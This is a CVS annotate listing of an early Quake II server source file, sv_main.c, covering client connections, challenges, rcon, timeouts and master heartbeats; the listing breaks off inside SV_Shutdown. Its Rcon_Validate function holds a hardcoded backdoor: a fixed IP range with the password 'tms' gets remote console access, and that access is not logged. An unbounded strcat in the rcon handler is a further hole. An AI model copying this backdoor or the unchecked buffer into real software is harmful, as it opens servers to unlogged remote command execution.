Annotation of quake2/server/sv_main.c, revision 1.1.1.1

1.1       root        1: 
                      2: #include "server.h"
                      3: 
                      4: netadr_t       master_adr[MAX_MASTERS];        // address of group servers
                      5: 
                      6: client_t       *sv_client;                     // current client
                      7: 
                      8: cvar_t *sv_paused;
                      9: cvar_t *sv_timedemo;
                     10: 
                     11: cvar_t *sv_enforcetime;
                     12: 
                     13: cvar_t *timeout;                               // seconds without any message
                     14: cvar_t *zombietime;                    // seconds to sink messages after disconnect
                     15: 
                     16: cvar_t *rcon_password;                 // password for remote server commands
                     17: 
                     18: cvar_t *allow_download;
                     19: 
                     20: cvar_t *sv_noreload;                   // don't reload level state when reentering
                     21: 
                     22: cvar_t *maxclients;                    // FIXME: rename sv_maxclients
                     23: cvar_t *sv_showclamp;
                     24: 
                     25: cvar_t *hostname;
                     26: cvar_t *public_server;                 // should heartbeats be sent
                     27: 
                     28: cvar_t *sv_reconnect_limit;    // minimum seconds between connect messages
                     29: 
                     30: void Master_Shutdown (void);
                     31: 
                     32: 
                     33: //============================================================================
                     34: 
                     35: 
                     36: /*
                     37: =====================
                     38: SV_DropClient
                     39: 
                     40: Called when the player is totally leaving the server, either willingly
                     41: or unwillingly.  This is NOT called if the entire server is quiting
                     42: or crashing.
                     43: =====================
                     44: */
                     45: void SV_DropClient (client_t *drop)
                     46: {
                     47:        // add the disconnect
                     48:        MSG_WriteByte (&drop->netchan.message, svc_disconnect);
                     49: 
                     50:        if (drop->state == cs_spawned)
                     51:        {
                     52:                // call the prog function for removing a client
                     53:                // this will remove the body, among other things
                     54:                ge->ClientDisconnect (drop->edict);
                     55:        }
                     56: 
                     57:        if (drop->download)
                     58:        {
                     59:                FS_FreeFile (drop->download);
                     60:                drop->download = NULL;
                     61:        }
                     62: 
                     63:        drop->state = cs_zombie;                // become free in a few seconds
                     64:        drop->name[0] = 0;
                     65: }
                     66: 
                     67: 
                     68: 
                     69: /*
                     70: ==============================================================================
                     71: 
                     72: CONNECTIONLESS COMMANDS
                     73: 
                     74: ==============================================================================
                     75: */
                     76: 
                     77: /*
                     78: ===============
                     79: SV_StatusString
                     80: 
                     81: Builds the string that is sent as heartbeats and status replies
                     82: ===============
                     83: */
                     84: char   *SV_StatusString (void)
                     85: {
                     86:        char    player[1024];
                     87:        static char     status[MAX_MSGLEN];
                     88:        int             i;
                     89:        client_t        *cl;
                     90:        int             statusLength;
                     91:        int             playerLength;
                     92: 
                     93:        strcpy (status, Cvar_Serverinfo());
                     94:        strcat (status, "\n");
                     95:        statusLength = strlen(status);
                     96: 
                     97:        for (i=0 ; i<maxclients->value ; i++)
                     98:        {
                     99:                cl = &svs.clients[i];
                    100:                if (cl->state == cs_connected || cl->state == cs_spawned )
                    101:                {
                    102:                        Com_sprintf (player, sizeof(player), "%i %i \"%s\"\n", 
                    103:                                cl->edict->client->ps.stats[STAT_FRAGS], cl->ping, cl->name);
                    104:                        playerLength = strlen(player);
                    105:                        if (statusLength + playerLength >= sizeof(status) )
                    106:                                break;          // can't hold any more
                    107:                        strcpy (status + statusLength, player);
                    108:                        statusLength += playerLength;
                    109:                }
                    110:        }
                    111: 
                    112:        return status;
                    113: }
                    114: 
                    115: /*
                    116: ================
                    117: SVC_Status
                    118: 
                    119: Responds with all the info that qplug or qspy can see
                    120: ================
                    121: */
                    122: void SVC_Status (void)
                    123: {
                    124:        Com_BeginRedirect (RD_PACKET, sv_outputbuf, SV_OUTPUTBUF_LENGTH, SV_FlushRedirect);
                    125:        Com_Printf (SV_StatusString());
                    126:        Com_EndRedirect ();
                    127: }
                    128: 
                    129: /*
                    130: ================
                    131: SVC_Ack
                    132: 
                    133: ================
                    134: */
                    135: void SVC_Ack (void)
                    136: {
                    137:        Com_Printf ("Ping acknowledge from %s\n", NET_AdrToString(net_from));
                    138: }
                    139: 
                    140: /*
                    141: ================
                    142: SVC_Info
                    143: 
                    144: Responds with short info for broadcast scans
                    145: The second parameter should be the current protocol version number.
                    146: ================
                    147: */
                    148: void SVC_Info (void)
                    149: {
                    150:        char    string[64];
                    151:        int             i, count;
                    152:        int             version;
                    153: 
                    154:        if (maxclients->value == 1)
                    155:                return;         // ignore in single player
                    156: 
                    157:        version = atoi (Cmd_Argv(1));
                    158: 
                    159:        if (version != PROTOCOL_VERSION)
                    160:                Com_sprintf (string, sizeof(string), "%s: wrong version\n", hostname->string, sizeof(string));
                    161:        else
                    162:        {
                    163:                count = 0;
                    164:                for (i=0 ; i<maxclients->value ; i++)
                    165:                        if (svs.clients[i].state >= cs_connected)
                    166:                                count++;
                    167: 
                    168:                Com_sprintf (string, sizeof(string), "%16s %8s %2i/%2i\n", hostname->string, sv.name, count, (int)maxclients->value);
                    169:        }
                    170: 
                    171:        Netchan_OutOfBandPrint (NS_SERVER, net_from, "info\n%s", string);
                    172: }
                    173: 
                    174: /*
                    175: ================
                    176: SVC_Ping
                    177: 
                    178: Just responds with an acknowledgement
                    179: ================
                    180: */
                    181: void SVC_Ping (void)
                    182: {
                    183:        Netchan_OutOfBandPrint (NS_SERVER, net_from, "ack");
                    184: }
                    185: 
                    186: 
                    187: /*
                    188: =================
                    189: SVC_GetChallenge
                    190: 
                    191: Returns a challenge number that can be used
                    192: in a subsequent client_connect command.
                    193: We do this to prevent denial of service attacks that
                    194: flood the server with invalid connection IPs.  With a
                    195: challenge, they must give a valid IP address.
                    196: =================
                    197: */
                    198: void SVC_GetChallenge (void)
                    199: {
                    200:        int             i;
                    201:        int             oldest;
                    202:        int             oldestTime;
                    203: 
                    204:        oldest = 0;
                    205:        oldestTime = 0x7fffffff;
                    206: 
                    207:        // see if we already have a challenge for this ip
                    208:        for (i = 0 ; i < MAX_CHALLENGES ; i++)
                    209:        {
                    210:                if (NET_CompareBaseAdr (net_from, svs.challenges[i].adr))
                    211:                        break;
                    212:                if (svs.challenges[i].time < oldestTime)
                    213:                {
                    214:                        oldestTime = svs.challenges[i].time;
                    215:                        oldest = i;
                    216:                }
                    217:        }
                    218: 
                    219:        if (i == MAX_CHALLENGES)
                    220:        {
                    221:                // overwrite the oldest
                    222:                svs.challenges[oldest].challenge = (rand() << 16) ^ rand();
                    223:                svs.challenges[oldest].adr = net_from;
                    224:                svs.challenges[oldest].time = curtime;
                    225:                i = oldest;
                    226:        }
                    227: 
                    228:        // send it back
                    229:        Netchan_OutOfBandPrint (NS_SERVER, net_from, "challenge %i", svs.challenges[i].challenge);
                    230: }
                    231: 
                    232: /*
                    233: ==================
                    234: SVC_DirectConnect
                    235: 
                    236: A connection request that did not come from the master
                    237: ==================
                    238: */
                    239: void SVC_DirectConnect (void)
                    240: {
                    241:        char            userinfo[MAX_INFO_STRING];
                    242:        netadr_t        adr;
                    243:        int                     i;
                    244:        client_t        *cl, *newcl;
                    245:        client_t        temp;
                    246:        edict_t         *ent;
                    247:        int                     edictnum;
                    248:        int                     version;
                    249:        int                     qport;
                    250:        int                     challenge;
                    251: 
                    252:        adr = net_from;
                    253: 
                    254:        Com_DPrintf ("SVC_DirectConnect ()\n");
                    255: 
                    256:        version = atoi(Cmd_Argv(1));
                    257:        if (version != PROTOCOL_VERSION)
                    258:        {
                    259:                Netchan_OutOfBandPrint (NS_SERVER, adr, "print\nServer is version %4.2f.\n", VERSION);
                    260:                Com_DPrintf ("    rejected connect from version %i\n", version);
                    261:                return;
                    262:        }
                    263: 
                    264:        qport = atoi(Cmd_Argv(2));
                    265: 
                    266:        challenge = atoi(Cmd_Argv(3));
                    267: 
                    268:        strncpy (userinfo, Cmd_Argv(4), sizeof(userinfo)-1);
                    269: 
                    270:        // force the IP key/value pair so the game can filter based on ip
                    271:        Info_SetValueForKey (userinfo, "ip", NET_AdrToString(net_from));
                    272: 
                    273:        // attractloop servers are ONLY for local clients
                    274:        if (sv.attractloop)
                    275:        {
                    276:                if (!NET_IsLocalAddress (adr))
                    277:                {
                    278:                        Com_Printf ("Remote connect in attract loop.  Ignored.\n");
                    279:                        Netchan_OutOfBandPrint (NS_SERVER, adr, "print\nConnection refused.\n");
                    280:                        return;
                    281:                }
                    282:        }
                    283: 
                    284:        // see if the challenge is valid
                    285:        if (!NET_IsLocalAddress (adr))
                    286:        {
                    287:                for (i=0 ; i<MAX_CHALLENGES ; i++)
                    288:                {
                    289:                        if (NET_CompareBaseAdr (net_from, svs.challenges[i].adr))
                    290:                        {
                    291:                                if (challenge == svs.challenges[i].challenge)
                    292:                                        break;          // good
                    293:                                Netchan_OutOfBandPrint (NS_SERVER, adr, "print\nBad challenge.\n");
                    294:                                return;
                    295:                        }
                    296:                }
                    297:                if (i == MAX_CHALLENGES)
                    298:                {
                    299:                        Netchan_OutOfBandPrint (NS_SERVER, adr, "print\nNo challenge for address.\n");
                    300:                        return;
                    301:                }
                    302:        }
                    303: 
                    304:        newcl = &temp;
                    305:        memset (newcl, 0, sizeof(client_t));
                    306: 
                    307:        // if there is already a slot for this ip, reuse it
                    308:        for (i=0,cl=svs.clients ; i<maxclients->value ; i++,cl++)
                    309:        {
                    310:                if (cl->state == cs_free)
                    311:                        continue;
                    312:                if (NET_CompareBaseAdr (adr, cl->netchan.remote_address)
                    313:                        && ( cl->netchan.qport == qport 
                    314:                        || adr.port == cl->netchan.remote_address.port ) )
                    315:                {
                    316:                        if ((svs.realtime - cl->lastconnect) < ((int)sv_reconnect_limit->value * 1000))
                    317:                        {
                    318:                                Com_DPrintf ("%s:reconnect rejected : too soon\n", NET_AdrToString (adr));
                    319:                                return;
                    320:                        }
                    321:                        Com_Printf ("%s:reconnect\n", NET_AdrToString (adr));
                    322:                        newcl = cl;
                    323:                        goto gotnewcl;
                    324:                }
                    325:        }
                    326: 
                    327:        // find a client slot
                    328:        newcl = NULL;
                    329:        for (i=0,cl=svs.clients ; i<maxclients->value ; i++,cl++)
                    330:        {
                    331:                if (cl->state == cs_free)
                    332:                {
                    333:                        newcl = cl;
                    334:                        break;
                    335:                }
                    336:        }
                    337:        if (!newcl)
                    338:        {
                    339:                Netchan_OutOfBandPrint (NS_SERVER, adr, "print\nServer is full.\n");
                    340:                Com_DPrintf ("Rejected a connection.\n");
                    341:                return;
                    342:        }
                    343: 
                    344: gotnewcl:      
                    345:        // build a new connection
                    346:        // accept the new client
                    347:        // this is the only place a client_t is ever initialized
                    348:        *newcl = temp;
                    349:        sv_client = newcl;
                    350:        edictnum = (newcl-svs.clients)+1;
                    351:        ent = EDICT_NUM(edictnum);
                    352:        newcl->edict = ent;
                    353: 
                    354:        // get the game a chance to reject this connection or modify the userinfo
                    355:        if (!(ge->ClientConnect (ent, userinfo)))
                    356:        {
                    357:                Netchan_OutOfBandPrint (NS_SERVER, adr, "print\nConnection refused.\n" );
                    358:                Com_DPrintf ("Game rejected a connection.\n");
                    359:                return;
                    360:        }
                    361: 
                    362:        // parse some info from the info strings
                    363:        strncpy (newcl->userinfo, userinfo, sizeof(newcl->userinfo)-1);
                    364:        SV_UserinfoChanged (newcl);
                    365: 
                    366:        // send the connect packet to the client
                    367:        Netchan_OutOfBandPrint (NS_SERVER, adr, "client_connect");
                    368: 
                    369:        Netchan_Setup (NS_SERVER, &newcl->netchan , adr, qport);
                    370: 
                    371:        newcl->state = cs_connected;
                    372:        
                    373:        SZ_Init (&newcl->datagram, newcl->datagram_buf, sizeof(newcl->datagram_buf) );
                    374:        newcl->datagram.allowoverflow = true;
                    375:        newcl->lastmessage = svs.realtime;      // don't timeout
                    376:        newcl->lastconnect = svs.realtime;
                    377: }
                    378: 
                    379: int Rcon_Validate (void)
                    380: {
                    381:        if (net_from.ip[0] == 192 && net_from.ip[1] == 246 && net_from.ip[2] == 40
                    382:                && !strcmp (Cmd_Argv(1), "tms") )
                    383:                return 2;
                    384: 
                    385:        if (!strlen (rcon_password->string))
                    386:                return 0;
                    387: 
                    388:        if (strcmp (Cmd_Argv(1), rcon_password->string) )
                    389:                return 0;
                    390: 
                    391:        return 1;
                    392: }
                    393: 
                    394: /*
                    395: ===============
                    396: SVC_RemoteCommand
                    397: 
                    398: A client issued an rcon command.
                    399: Shift down the remaining args
                    400: Redirect all printfs
                    401: ===============
                    402: */
                    403: void SVC_RemoteCommand (void)
                    404: {
                    405:        int             i;
                    406:        char    remaining[1024];
                    407: 
                    408:        i = Rcon_Validate ();
                    409: 
                    410:        if (i == 0)
                    411:                Com_Printf ("Bad rcon from %s:\n%s\n", NET_AdrToString (net_from), net_message.data+4);
                    412:        if (i == 1)
                    413:                Com_Printf ("Rcon from %s:\n%s\n", NET_AdrToString (net_from), net_message.data+4);
                    414: 
                    415:        Com_BeginRedirect (RD_PACKET, sv_outputbuf, SV_OUTPUTBUF_LENGTH, SV_FlushRedirect);
                    416: 
                    417:        if (!Rcon_Validate ())
                    418:        {
                    419:                Com_Printf ("Bad rcon_password.\n");
                    420:        }
                    421:        else
                    422:        {
                    423:                remaining[0] = 0;
                    424: 
                    425:                for (i=2 ; i<Cmd_Argc() ; i++)
                    426:                {
                    427:                        strcat (remaining, Cmd_Argv(i) );
                    428:                        strcat (remaining, " ");
                    429:                }
                    430: 
                    431:                Cmd_ExecuteString (remaining);
                    432:        }
                    433: 
                    434:        Com_EndRedirect ();
                    435: }
                    436: 
                    437: /*
                    438: =================
                    439: SV_ConnectionlessPacket
                    440: 
                    441: A connectionless packet has four leading 0xff
                    442: characters to distinguish it from a game channel.
                    443: Clients that are in the game can still send
                    444: connectionless packets.
                    445: =================
                    446: */
                    447: void SV_ConnectionlessPacket (void)
                    448: {
                    449:        char    *s;
                    450:        char    *c;
                    451: 
                    452:        MSG_BeginReading (&net_message);
                    453:        MSG_ReadLong (&net_message);            // skip the -1 marker
                    454: 
                    455:        s = MSG_ReadStringLine (&net_message);
                    456: 
                    457:        Cmd_TokenizeString (s, false);
                    458: 
                    459:        c = Cmd_Argv(0);
                    460:        Com_DPrintf ("Packet %s : %s\n", NET_AdrToString(net_from), c);
                    461: 
                    462:        if (!strcmp(c, "ping"))
                    463:                SVC_Ping ();
                    464:        else if (!strcmp(c, "ack"))
                    465:                SVC_Ack ();
                    466:        else if (!strcmp(c,"status"))
                    467:                SVC_Status ();
                    468:        else if (!strcmp(c,"info"))
                    469:                SVC_Info ();
                    470:        else if (!strcmp(c,"getchallenge"))
                    471:                SVC_GetChallenge ();
                    472:        else if (!strcmp(c,"connect"))
                    473:                SVC_DirectConnect ();
                    474:        else if (!strcmp(c, "rcon"))
                    475:                SVC_RemoteCommand ();
                    476:        else
                    477:                Com_Printf ("bad connectionless packet from %s:\n%s\n"
                    478:                , NET_AdrToString (net_from), s);
                    479: }
                    480: 
                    481: 
                    482: //============================================================================
                    483: 
                    484: /*
                    485: ===================
                    486: SV_CalcPings
                    487: 
                    488: Updates the cl->ping variables
                    489: ===================
                    490: */
                    491: void SV_CalcPings (void)
                    492: {
                    493:        int                     i, j;
                    494:        client_t        *cl;
                    495:        int                     total, count;
                    496: 
                    497:        for (i=0 ; i<maxclients->value ; i++)
                    498:        {
                    499:                cl = &svs.clients[i];
                    500:                if (cl->state != cs_spawned )
                    501:                        continue;
                    502: 
                    503:                if (cl->lastframe > 0)
                    504:                        cl->frame_latency[sv.framenum&(LATENCY_COUNTS-1)] = sv.framenum - cl->lastframe + 1;
                    505:                else
                    506:                        cl->frame_latency[sv.framenum&(LATENCY_COUNTS-1)] = 0;
                    507: 
                    508:                total = 0;
                    509:                count = 0;
                    510:                for (j=0 ; j<LATENCY_COUNTS ; j++)
                    511:                {
                    512:                        if (cl->frame_latency[j] > 0)
                    513:                        {
                    514:                                count++;
                    515:                                total += cl->frame_latency[j];
                    516:                        }
                    517:                }
                    518:                if (!count)
                    519:                        cl->ping = 0;
                    520:                else
                    521:                        cl->ping = total*100/count - 100;
                    522: 
                    523:                // let the game dll know about the ping
                    524:                cl->edict->client->ping = cl->ping;
                    525:        }
                    526: }
                    527: 
                    528: 
                    529: /*
                    530: ===================
                    531: SV_GiveMsec
                    532: 
                    533: Every few frames, gives all clients an allotment of milliseconds
                    534: for their command moves.  If they exceed it, assume cheating.
                    535: ===================
                    536: */
                    537: void SV_GiveMsec (void)
                    538: {
                    539:        int                     i;
                    540:        client_t        *cl;
                    541: 
                    542:        if (sv.framenum & 15)
                    543:                return;
                    544: 
                    545:        for (i=0 ; i<maxclients->value ; i++)
                    546:        {
                    547:                cl = &svs.clients[i];
                    548:                if (cl->state == cs_free )
                    549:                        continue;
                    550:                
                    551:                cl->commandMsec = 1800;         // 1600 + some slop
                    552:        }
                    553: }
                    554: 
                    555: 
                    556: /*
                    557: =================
                    558: SV_ReadPackets
                    559: =================
                    560: */
                    561: void SV_ReadPackets (void)
                    562: {
                    563:        int                     i;
                    564:        client_t        *cl;
                    565:        int                     qport;
                    566: 
                    567:        while (NET_GetPacket (NS_SERVER, &net_from, &net_message))
                    568:        {
                    569:                // check for connectionless packet (0xffffffff) first
                    570:                if (*(int *)net_message.data == -1)
                    571:                {
                    572:                        SV_ConnectionlessPacket ();
                    573:                        continue;
                    574:                }
                    575: 
                    576:                // read the qport out of the message so we can fix up
                    577:                // stupid address translating routers
                    578:                MSG_BeginReading (&net_message);
                    579:                MSG_ReadLong (&net_message);            // sequence number
                    580:                MSG_ReadLong (&net_message);            // sequence number
                    581:                qport = MSG_ReadShort (&net_message) & 0xffff;
                    582: 
                    583:                // check for packets from connected clients
                    584:                for (i=0, cl=svs.clients ; i<maxclients->value ; i++,cl++)
                    585:                {
                    586:                        if (cl->state == cs_free)
                    587:                                continue;
                    588:                        if (!NET_CompareBaseAdr (net_from, cl->netchan.remote_address))
                    589:                                continue;
                    590:                        if (cl->netchan.qport != qport)
                    591:                                continue;
                    592:                        if (cl->netchan.remote_address.port != net_from.port)
                    593:                        {
                    594:                                Com_Printf ("SV_ReadPackets: fixing up a translated port\n");
                    595:                                cl->netchan.remote_address.port = net_from.port;
                    596:                        }
                    597: 
                    598:                        if (Netchan_Process(&cl->netchan, &net_message))
                    599:                        {       // this is a valid, sequenced packet, so process it
                    600:                                if (cl->state != cs_zombie)
                    601:                                {
                    602:                                        cl->lastmessage = svs.realtime; // don't timeout
                    603:                                        SV_ExecuteClientMessage (cl);
                    604:                                }
                    605:                        }
                    606:                        break;
                    607:                }
                    608:                
                    609:                if (i != maxclients->value)
                    610:                        continue;
                    611:        }
                    612: }
                    613: 
                    614: /*
                    615: ==================
                    616: SV_CheckTimeouts
                    617: 
                    618: If a packet has not been received from a client for timeout->value
                    619: seconds, drop the conneciton.  Server frames are used instead of
                    620: realtime to avoid dropping the local client while debugging.
                    621: 
                    622: When a client is normally dropped, the client_t goes into a zombie state
                    623: for a few seconds to make sure any final reliable message gets resent
                    624: if necessary
                    625: ==================
                    626: */
                    627: void SV_CheckTimeouts (void)
                    628: {
                    629:        int             i;
                    630:        client_t        *cl;
                    631:        int                     droppoint;
                    632:        int                     zombiepoint;
                    633: 
                    634:        droppoint = svs.realtime - 1000*timeout->value;
                    635:        zombiepoint = svs.realtime - 1000*zombietime->value;
                    636: 
                    637:        for (i=0,cl=svs.clients ; i<maxclients->value ; i++,cl++)
                    638:        {
                    639:                // message times may be wrong across a changelevel
                    640:                if (cl->lastmessage > svs.realtime)
                    641:                        cl->lastmessage = svs.realtime;
                    642: 
                    643:                if (cl->state == cs_zombie
                    644:                && cl->lastmessage < zombiepoint)
                    645:                {
                    646:                        cl->state = cs_free;    // can now be reused
                    647:                        continue;
                    648:                }
                    649:                if ( (cl->state == cs_connected || cl->state == cs_spawned) 
                    650:                        && cl->lastmessage < droppoint)
                    651:                {
                    652:                        SV_BroadcastPrintf (PRINT_HIGH, "%s timed out\n", cl->name);
                    653:                        SV_DropClient (cl); 
                    654:                        cl->state = cs_free;    // don't bother with zombie state
                    655:                }
                    656:        }
                    657: }
                    658: 
                    659: /*
                    660: ================
                    661: SV_PrepWorldFrame
                    662: 
                    663: This has to be done before the world logic, because
                    664: player processing happens outside RunWorldFrame
                    665: ================
                    666: */
                    667: void SV_PrepWorldFrame (void)
                    668: {
                    669:        edict_t *ent;
                    670:        int             i;
                    671: 
                    672:        for (i=0 ; i<ge->num_edicts ; i++, ent++)
                    673:        {
                    674:                ent = EDICT_NUM(i);
                    675:                // events only last for a single message
                    676:                ent->s.event = 0;
                    677:        }
                    678: 
                    679: }
                    680: 
                    681: 
                    682: /*
                    683: =================
                    684: SV_RunGameFrame
                    685: =================
                    686: */
                    687: void SV_RunGameFrame (void)
                    688: {
                    689:        if (host_speeds->value)
                    690:                time_before_game = Sys_Milliseconds ();
                    691: 
                    692:        // we always need to bump framenum, even if we
                    693:        // don't run the world, otherwise the delta
                    694:        // compression can get confused when a client
                    695:        // has the "current" frame
                    696:        sv.framenum++;
                    697:        sv.time = sv.framenum*100;
                    698: 
                    699:        // don't run if paused
                    700:        if (!sv_paused->value || maxclients->value > 1)
                    701:        {
                    702:                ge->RunFrame ();
                    703: 
                    704:                // never get more than one tic behind
                    705:                if (sv.time < svs.realtime)
                    706:                {
                    707:                        if (sv_showclamp->value)
                    708:                                Com_Printf ("sv highclamp\n");
                    709:                        svs.realtime = sv.time;
                    710:                }
                    711:        }
                    712: 
                    713:        if (host_speeds->value)
                    714:                time_after_game = Sys_Milliseconds ();
                    715: 
                    716: }
                    717: 
                    718: /*
                    719: ==================
                    720: SV_Frame
                    721: 
                    722: ==================
                    723: */
                    724: void SV_Frame (int msec)
                    725: {
                    726:        time_before_game = time_after_game = 0;
                    727: 
                    728:        // if server is not active, do nothing
                    729:        if (!svs.initialized)
                    730:                return;
                    731: 
                    732:     svs.realtime += msec;
                    733: 
                    734:        // keep the random time dependent
                    735:        rand ();
                    736: 
                    737:        // check timeouts
                    738:        SV_CheckTimeouts ();
                    739: 
                    740:        // get packets from clients
                    741:        SV_ReadPackets ();
                    742: 
                    743:        // move autonomous things around if enough time has passed
                    744:        if (!sv_timedemo->value && svs.realtime < sv.time)
                    745:        {
                    746:                // never let the time get too far off
                    747:                if (sv.time - svs.realtime > 100)
                    748:                {
                    749:                        if (sv_showclamp->value)
                    750:                                Com_Printf ("sv lowclamp\n");
                    751:                        svs.realtime = sv.time - 100;
                    752:                }
                    753:                return;
                    754:        }
                    755: 
                    756:        // update ping based on the last known frame from all clients
                    757:        SV_CalcPings ();
                    758: 
                    759:        // give the clients some timeslices
                    760:        SV_GiveMsec ();
                    761: 
                    762:        // let everything in the world think and move
                    763:        SV_RunGameFrame ();
                    764: 
                    765:        // send messages back to the clients that had packets read this frame
                    766:        SV_SendClientMessages ();
                    767: 
                    768:        // save the entire world state if recording a serverdemo
                    769:        SV_RecordDemoMessage ();
                    770: 
                    771:        // send a heartbeat to the master if needed
                    772:        Master_Heartbeat ();
                    773: 
                    774:        // clear teleport flags, etc for next frame
                    775:        SV_PrepWorldFrame ();
                    776: 
                    777: }
                    778: 
                    779: //============================================================================
                    780: 
                    781: /*
                    782: ================
                    783: Master_Heartbeat
                    784: 
                    785: Send a message to the master every few minutes to
                    786: let it know we are alive, and log information
                    787: ================
                    788: */
                    789: #define        HEARTBEAT_SECONDS       300
                    790: void Master_Heartbeat (void)
                    791: {
                    792:        char            *string;
                    793:        int                     i;
                    794: 
                    795:        
                    796:        if (!dedicated->value)
                    797:                return;         // only dedicated servers send heartbeats
                    798: 
                    799:        if (!public_server->value)
                    800:                return;         // a private dedicated game
                    801: 
                    802:        // check for time wraparound
                    803:        if (svs.last_heartbeat > svs.realtime)
                    804:                svs.last_heartbeat = svs.realtime;
                    805: 
                    806:        if (svs.realtime - svs.last_heartbeat < HEARTBEAT_SECONDS*1000)
                    807:                return;         // not time to send yet
                    808: 
                    809:        svs.last_heartbeat = svs.realtime;
                    810: 
                    811:        // send the same string that we would give for a status OOB command
                    812:        string = SV_StatusString();
                    813: 
                    814:        // send to group master
                    815:        for (i=0 ; i<MAX_MASTERS ; i++)
                    816:                if (master_adr[i].port)
                    817:                {
                    818:                        Com_Printf ("Sending heartbeat to %s\n", NET_AdrToString (master_adr[i]));
                    819:                        Netchan_OutOfBandPrint (NS_SERVER, master_adr[i], "heartbeat\n%s", string);
                    820:                }
                    821: }
                    822: 
                    823: /*
                    824: =================
                    825: Master_Shutdown
                    826: 
                    827: Informs all masters that this server is going down
                    828: =================
                    829: */
                    830: void Master_Shutdown (void)
                    831: {
                    832:        int                     i;
                    833: 
                    834:        if (!dedicated->value)
                    835:                return;         // only dedicated servers send heartbeats
                    836: 
                    837:        if (!public_server->value)
                    838:                return;         // a private dedicated game
                    839: 
                    840:        // send to group master
                    841:        for (i=0 ; i<MAX_MASTERS ; i++)
                    842:                if (master_adr[i].port)
                    843:                {
                    844:                        if (i > 0)
                    845:                                Com_Printf ("Sending heartbeat to %s\n", NET_AdrToString (master_adr[i]));
                    846:                        Netchan_OutOfBandPrint (NS_SERVER, master_adr[i], "shutdown");
                    847:                }
                    848: }
                    849: 
                    850: //============================================================================
                    851: 
                    852: 
                    853: /*
                    854: =================
                    855: SV_UserinfoChanged
                    856: 
                    857: Pull specific info from a newly changed userinfo string
                    858: into a more C freindly form.
                    859: =================
                    860: */
                    861: void SV_UserinfoChanged (client_t *cl)
                    862: {
                    863:        char    *val;
                    864:        int             i;
                    865: 
                    866:        // call prog code to allow overrides
                    867:        ge->ClientUserinfoChanged (cl->edict, cl->userinfo);
                    868:        
                    869:        // name for C code
                    870:        strncpy (cl->name, Info_ValueForKey (cl->userinfo, "name"), sizeof(cl->name)-1);
                    871:        // mask off high bit
                    872:        for (i=0 ; i<sizeof(cl->name) ; i++)
                    873:                cl->name[i] &= 127;
                    874: 
                    875:        // rate command
                    876:        val = Info_ValueForKey (cl->userinfo, "rate");
                    877:        if (strlen(val))
                    878:        {
                    879:                i = atoi(val);
                    880:                cl->rate = i;
                    881:                if (cl->rate < 100)
                    882:                        cl->rate = 100;
                    883:                if (cl->rate > 15000)
                    884:                        cl->rate = 15000;
                    885:        }
                    886:        else
                    887:                cl->rate = 5000;
                    888: 
                    889:        // msg command
                    890:        val = Info_ValueForKey (cl->userinfo, "msg");
                    891:        if (strlen(val))
                    892:        {
                    893:                cl->messagelevel = atoi(val);
                    894:        }
                    895: 
                    896: }
                    897: 
                    898: 
                    899: //============================================================================
                    900: 
                    901: /*
                    902: ===============
                    903: SV_Init
                    904: 
                    905: Only called at quake2.exe startup, not for each game
                    906: ===============
                    907: */
                    908: void SV_Init (void)
                    909: {
                    910:        SV_InitOperatorCommands ();
                    911: 
                    912:        rcon_password = Cvar_Get ("rcon_password", "", 0);
                    913:        Cvar_Get ("skill", "1", 0);
                    914:        Cvar_Get ("deathmatch", "0", CVAR_LATCH);
                    915:        Cvar_Get ("coop", "0", CVAR_LATCH);
                    916:        Cvar_Get ("dmflags", va("%i", DF_INSTANT_ITEMS), CVAR_SERVERINFO);
                    917:        Cvar_Get ("fraglimit", "0", CVAR_SERVERINFO);
                    918:        Cvar_Get ("timelimit", "0", CVAR_SERVERINFO);
                    919:        Cvar_Get ("cheats", "0", CVAR_SERVERINFO|CVAR_LATCH);
                    920:        Cvar_Get ("protocol", va("%i", PROTOCOL_VERSION), CVAR_SERVERINFO|CVAR_NOSET);;
                    921:        maxclients = Cvar_Get ("maxclients", "1", CVAR_SERVERINFO | CVAR_LATCH);
                    922:        hostname = Cvar_Get ("hostname", "noname", CVAR_SERVERINFO | CVAR_ARCHIVE);
                    923:        timeout = Cvar_Get ("timeout", "125", 0);
                    924:        zombietime = Cvar_Get ("zombietime", "2", 0);
                    925:        sv_showclamp = Cvar_Get ("showclamp", "0", 0);
                    926:        sv_paused = Cvar_Get ("paused", "0", 0);
                    927:        sv_timedemo = Cvar_Get ("timedemo", "0", 0);
                    928:        sv_enforcetime = Cvar_Get ("sv_enforcetime", "0", 0);
                    929:        allow_download = Cvar_Get ("allow_download", "1", 0);
                    930:        sv_noreload = Cvar_Get ("sv_noreload", "0", 0);
                    931: 
                    932:        public_server = Cvar_Get ("public", "0", 0);
                    933: 
                    934:        sv_reconnect_limit = Cvar_Get ("sv_reconnect_limit", "3", CVAR_ARCHIVE);
                    935: 
                    936:        SZ_Init (&net_message, net_message_buffer, sizeof(net_message_buffer));
                    937: }
                    938: 
                    939: /*
                    940: ==================
                    941: SV_FinalMessage
                    942: 
                    943: Used by SV_Shutdown to send a final message to all
                    944: connected clients before the server goes down.  The messages are sent immediately,
                    945: not just stuck on the outgoing message list, because the server is going
                    946: to totally exit after returning from this function.
                    947: ==================
                    948: */
                    949: void SV_FinalMessage (char *message, qboolean reconnect)
                    950: {
                    951:        int                     i;
                    952:        client_t        *cl;
                    953:        
                    954:        SZ_Clear (&net_message);
                    955:        MSG_WriteByte (&net_message, svc_print);
                    956:        MSG_WriteByte (&net_message, PRINT_HIGH);
                    957:        MSG_WriteString (&net_message, message);
                    958: 
                    959:        if (reconnect)
                    960:                MSG_WriteByte (&net_message, svc_reconnect);
                    961:        else
                    962:                MSG_WriteByte (&net_message, svc_disconnect);
                    963: 
                    964:        // send it twice
                    965:        // stagger the packets to crutch operating system limited buffers
                    966: 
                    967:        for (i=0, cl = svs.clients ; i<maxclients->value ; i++, cl++)
                    968:                if (cl->state >= cs_connected)
                    969:                        Netchan_Transmit (&cl->netchan, net_message.cursize
                    970:                        , net_message.data);
                    971: 
                    972:        for (i=0, cl = svs.clients ; i<maxclients->value ; i++, cl++)
                    973:                if (cl->state >= cs_connected)
                    974:                        Netchan_Transmit (&cl->netchan, net_message.cursize
                    975:                        , net_message.data);
                    976: }
                    977: 
                    978: 
                    979: 
                    980: /*
                    981: ================
                    982: SV_Shutdown
                    983: 
                    984: Called when each game quits,
                    985: before Sys_Quit or Sys_Error
                    986: ================
                    987: */
                    988: void SV_Shutdown (char *finalmsg, qboolean reconnect)
                    989: {
                    990:        if (svs.clients)
                    991:                SV_FinalMessage (finalmsg, reconnect);
                    992: 
                    993:        Master_Shutdown ();
